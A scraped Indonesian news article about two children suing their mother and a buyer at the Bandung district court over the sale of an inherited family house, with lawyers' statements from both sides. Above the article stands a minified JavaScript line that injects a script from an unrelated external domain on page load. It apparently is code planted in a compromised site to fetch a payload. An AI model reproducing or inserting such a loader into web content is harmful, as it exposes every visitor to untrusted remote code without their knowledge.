(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: WARGA +62

Merasa Dizalimi, Dua Anak Gugat Ibu Kandung ke Pengadilan


KANALKALIMANTAN.COM – Seorang ibu berinisial AM digugat dua anak kandungnya, J dan B ke Pengadilan Negeri Bandung. J dan B menggugat ibu kandungnya karena menjual rumah warisan peninggalan almarhum ayahnya.

Pengacara penggugat Musa Darwin Pane mengatakan, kliennya menggugat karena mengklaim memiliki hak waris atas rumah itu.

Rumah warisan yang diperkarakan itu berada di Jalan Derwati, Kota Bandung.

“Kenapa ini bisa terjadi, karena memang anak merasa dirinya dizalimi oleh ibunya dan oleh pembeli rumah, dengan tiba-tiba ternyata diusir dari rumah sendiri ya,” kata Musa di PN Bandung, Kota Bandung, Selasa (25/5/2021).

Gugatan yang dilakukan kliennya itu ke PN Bandung merupakan langkah hukum, setelah J dan B dilaporkan ke pihak kepolisian oleh pembeli rumah tersebut yang berinisial RP. Sehingga RP juga dijadikan tergugat dalam perkara tersebut.

“Dia (penggugat) diusir, di datangi orang akan dilaporkan ke polisi, dan ternyata sudah dilaporkan ke polisi, dan kami sudah dipanggil dan kami sudah menghadapinya,” tutur Musa.

Adapun Musa mengatakan dalam perkara tersebut J dan B menggugat ibu kandungnya menyatakan mengalami kerugian sebesar Rp 40 juta sebagai biaya memperjuangkan hak hukumnya, dan rugi sebesar Rp 2 miliar karena mengalami beban moril setelah mengalami intimidasi.

Meski begitu, Musa mengaku akan berupaya maksimal untuk mendamaikan para pihak yang bersengketa meskipun sebelumnya telah menempuh tahap mediasi yang belum mendapat kesepakatan.

“Persoalan ini sangat sensitif karena ada Ibu Kandung sebagai pihak Tergugat II, persoalan ini harus disikapi secara hati-hati dan tetap mengedepankan upaya persuasif di luar persidangan meskipun proses hukum harus tetap berjalan,” kata dia.

Sementara itu, kuasa hukum ibu yang digugat, Egi Kamaludin membenarkan bahwa kliennya itu menjual tanah dan bangunannya yang menjadi objek yang diperkarakan.
“Betul (dijual), tapi itu sudah sah karena ibu Ai Maswati ini ahli waris yang sah dari suaminya,” ujar Egi. (Antara/Suara.com)

Editor : kk


Al Ghifari

Recent Posts

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

43 menit ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

16 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

19 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

23 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

23 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

23 jam ago

This website uses cookies.